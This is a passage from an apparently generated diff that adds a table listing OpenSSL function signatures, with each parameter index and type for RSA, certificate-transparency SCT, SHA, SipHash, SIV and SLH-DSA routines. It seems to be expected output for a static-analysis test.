*,BN_GENCB *) | | RSA_generate_multi_prime_key | 3 | BIGNUM * | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 4 | BN_GENCB * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 0 | RSA * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 1 | int | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 2 | int | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 3 | BIGNUM * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 4 | stack_st_BIGNUM * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 5 | stack_st_BIGNUM * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 6 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 0 | RSA * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 1 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 2 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 3 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 0 | RSA * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 1 | stack_st_BIGNUM_const * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 2 | stack_st_BIGNUM_const * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 3 | stack_st_BIGNUM_const * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 1 | unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 2 | const unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 4 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 5 | int * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 1 | unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 2 | const unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 4 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 5 | int | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 0 | RSA * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 1 | unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 2 | const unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 3 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 4 | int | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 0 | RSA * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 1 | void * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 2 | int | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 3 | const BIGNUM * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 4 | BN_CTX * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 5 | BN_GENCB * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_bn_mod_exp | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_bn_mod_exp | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_finish | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_finish | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_init | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_init | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_keygen | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_keygen | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_mod_exp | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_mod_exp | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_multi_prime_keygen | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_multi_prime_keygen | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_dec | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_dec | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_enc | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_enc | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_dec | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_dec | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_enc | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_enc | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_sign | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_sign | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_verify | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_verify | 1 | ..(*)(..) | +| (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 0 | RSA_METHOD * | +| (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | const char * | +| (RSA_METHOD *,int) | | RSA_meth_set_flags | 0 | RSA_METHOD * | +| (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | int | +| (RSA_METHOD *,void *) | | RSA_meth_set0_app_data | 0 | RSA_METHOD * | +| (RSA_METHOD *,void *) | | RSA_meth_set0_app_data | 1 | void * | +| (RSA_OAEP_PARAMS *) | | RSA_OAEP_PARAMS_free | 0 | RSA_OAEP_PARAMS * | +| (RSA_OAEP_PARAMS **,const unsigned char **,long) | | d2i_RSA_OAEP_PARAMS | 0 | RSA_OAEP_PARAMS ** | +| (RSA_OAEP_PARAMS **,const unsigned char **,long) | | d2i_RSA_OAEP_PARAMS | 1 | const unsigned char ** | +| (RSA_OAEP_PARAMS **,const unsigned char **,long) | | d2i_RSA_OAEP_PARAMS | 2 | long | +| (RSA_PSS_PARAMS *) | | RSA_PSS_PARAMS_free | 0 | RSA_PSS_PARAMS * | +| (RSA_PSS_PARAMS **,const unsigned char **,long) | | d2i_RSA_PSS_PARAMS | 0 | RSA_PSS_PARAMS ** | +| (RSA_PSS_PARAMS **,const unsigned char **,long) | | d2i_RSA_PSS_PARAMS | 1 | const unsigned char ** | +| (RSA_PSS_PARAMS **,const unsigned char **,long) | | d2i_RSA_PSS_PARAMS | 2 | long | +| (RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_copy | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_copy | 1 | const RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 1 | int * | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 2 | const OSSL_PARAM[] | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 3 | OSSL_LIB_CTX * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | int | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | int | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | int | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | int | +| (SCRYPT_PARAMS *) | | SCRYPT_PARAMS_free | 0 | SCRYPT_PARAMS * | +| (SCRYPT_PARAMS **,const unsigned char **,long) | | d2i_SCRYPT_PARAMS | 0 | SCRYPT_PARAMS ** | +| (SCRYPT_PARAMS **,const unsigned char **,long) | | d2i_SCRYPT_PARAMS | 1 | const unsigned char ** | +| (SCRYPT_PARAMS **,const unsigned char **,long) | | d2i_SCRYPT_PARAMS | 2 | long | +| (SCT **,const unsigned char **,size_t) | | o2i_SCT | 0 | SCT ** | +| (SCT **,const unsigned char **,size_t) | | o2i_SCT | 1 | const unsigned char ** | +| (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | size_t | +| (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 0 | SCT * | +| (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 1 | const unsigned char ** | +| (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | size_t | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 0 | SCT * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 1 | const unsigned char * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | size_t | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 0 | SCT * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 1 | const unsigned char * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | size_t | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 0 | SCT * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 1 | const unsigned char * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | size_t | +| (SCT *,ct_log_entry_type_t) | | SCT_set_log_entry_type | 0 | SCT * | +| (SCT *,ct_log_entry_type_t) | | SCT_set_log_entry_type | 1 | ct_log_entry_type_t | +| (SCT *,sct_source_t) | | SCT_set_source | 0 | SCT * | +| (SCT *,sct_source_t) | | SCT_set_source | 1 | sct_source_t | +| (SCT *,sct_version_t) | | SCT_set_version | 0 | SCT * | +| (SCT *,sct_version_t) | | SCT_set_version | 1 | sct_version_t | +| (SCT *,uint64_t) | | SCT_set_timestamp | 0 | SCT * | +| (SCT *,uint64_t) | | SCT_set_timestamp | 1 | uint64_t | +| (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 0 | SCT * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 1 | unsigned char * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | size_t | +| (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 0 | SCT * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 1 | unsigned char * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | size_t | +| (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 0 | SCT * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 1 | unsigned char * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | size_t | +| (SCT_CTX *,X509 *,X509 *) | | SCT_CTX_set1_cert | 0 | SCT_CTX * | +| (SCT_CTX *,X509 *,X509 *) | | SCT_CTX_set1_cert | 1 | X509 * | +| (SCT_CTX *,X509 *,X509 *) | | SCT_CTX_set1_cert | 2 | X509 * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_issuer_pubkey | 0 | SCT_CTX * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_issuer_pubkey | 1 | X509_PUBKEY * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_pubkey | 0 | SCT_CTX * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_pubkey | 1 | X509_PUBKEY * | +| (SCT_CTX *,uint64_t) | | SCT_CTX_set_time | 0 | SCT_CTX * | +| (SCT_CTX *,uint64_t) | | SCT_CTX_set_time | 1 | uint64_t | +| (SD,const char *,SD_SYM *) | | sd_sym | 0 | SD | +| (SD,const char *,SD_SYM *) | | sd_sym | 1 | const char * | +| (SD,const char *,SD_SYM *) | | sd_sym | 2 | SD_SYM * | +| (SFRAME_LIST *) | | ossl_sframe_list_is_head_locked | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 1 | UINT_RANGE * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 2 | OSSL_QRX_PKT * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 3 | const unsigned char * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 4 | int | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 1 | UINT_RANGE * | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 2 | const unsigned char ** | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 3 | int * | +| (SFRAME_LIST *,sframe_list_write_at_cb *,void *) | | ossl_sframe_list_move_data | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,sframe_list_write_at_cb *,void *) | | ossl_sframe_list_move_data | 1 | sframe_list_write_at_cb * | +| (SFRAME_LIST *,sframe_list_write_at_cb *,void *) | | ossl_sframe_list_move_data | 2 | void * | +| (SFRAME_LIST *,uint64_t) | | ossl_sframe_list_drop_frames | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,uint64_t) | | ossl_sframe_list_drop_frames | 1 | uint64_t | +| (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 0 | SHA256_CTX * | +| (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 1 | const void * | +| (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | size_t | +| (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 0 | SHA256_CTX * | +| (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 1 | const void * | +| (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | size_t | +| (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 0 | SHA512_CTX * | +| (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 1 | const void * | +| (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | size_t | +| (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 0 | SHA512_CTX * | +| (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 1 | const void * | +| (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | size_t | +| (SHA_CTX *,const void *,size_t) | | SHA1_Update | 0 | SHA_CTX * | +| (SHA_CTX *,const void *,size_t) | | SHA1_Update | 1 | const void * | +| (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | size_t | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 0 | SHA_CTX * | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 1 | int | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 2 | int | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 3 | void * | +| (SIPHASH *) | | SipHash_hash_size | 0 | SIPHASH * | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 0 | SIPHASH * | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 1 | const unsigned char * | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 2 | int | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 3 | int | +| (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 0 | SIPHASH * | +| (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 1 | const unsigned char * | +| (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | size_t | +| (SIPHASH *,size_t) | | SipHash_set_hash_size | 0 | SIPHASH * | +| (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | size_t | +| (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 0 | SIPHASH * | +| (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 1 | unsigned char * | +| (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | size_t | +| (SIV128_CONTEXT *) | | ossl_siv128_finish | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,SIV128_CONTEXT *) | | ossl_siv128_copy_ctx | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,SIV128_CONTEXT *) | | ossl_siv128_copy_ctx | 1 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 2 | int | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 3 | const EVP_CIPHER * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 4 | const EVP_CIPHER * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 5 | OSSL_LIB_CTX * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 6 | const char * | +| (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | size_t | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 2 | unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 3 | size_t | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 2 | unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 3 | size_t | +| (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 1 | unsigned char * | +| (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 0 | SLH_DSA_HASH_CTX * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 1 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 2 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 3 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 4 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 5 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 6 | int | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 7 | unsigned char * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 8 | size_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 9 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 0 | SLH_DSA_HASH_CTX * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 1 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 2 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 3 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 4 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 5 | int | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 6 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 7 | size_t | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 0 | SLH_DSA_KEY * | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 1 | const OSSL_PARAM * | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 2 | const OSSL_PARAM[] | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 3 | int | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 0 | SLH_DSA_KEY * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 1 | const uint8_t * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | size_t | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 0 | SLH_DSA_KEY * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 1 | const uint8_t * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | size_t | +| (SM2_Ciphertext *) | | SM2_Ciphertext_free | 0 | SM2_Ciphertext * | +| (SM2_Ciphertext **,const unsigned char **,long) | | d2i_SM2_Ciphertext | 0 | SM2_Ciphertext ** | +| (SM2_Ciphertext **,const unsigned char **,long) | | d2i_SM2_Ciphertext | 1 | const unsigned char ** | +| (SM2_Ciphertext **,const unsigned char **,long) | | d2i_SM2_Ciphertext | 2 | long | +| (SM3_CTX *,const unsigned char *) | | ossl_sm3_transform | 0 | SM3_CTX * | +| (SM3_CTX *,const unsigned char *) | | ossl_sm3_transform | 1 | const unsigned char * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 0 | SM3_CTX * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 1 | const void * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | size_t | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 0 | SM3_CTX * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 1 | const void * | +| (SM3_CTX *,const void *,size_t) | | 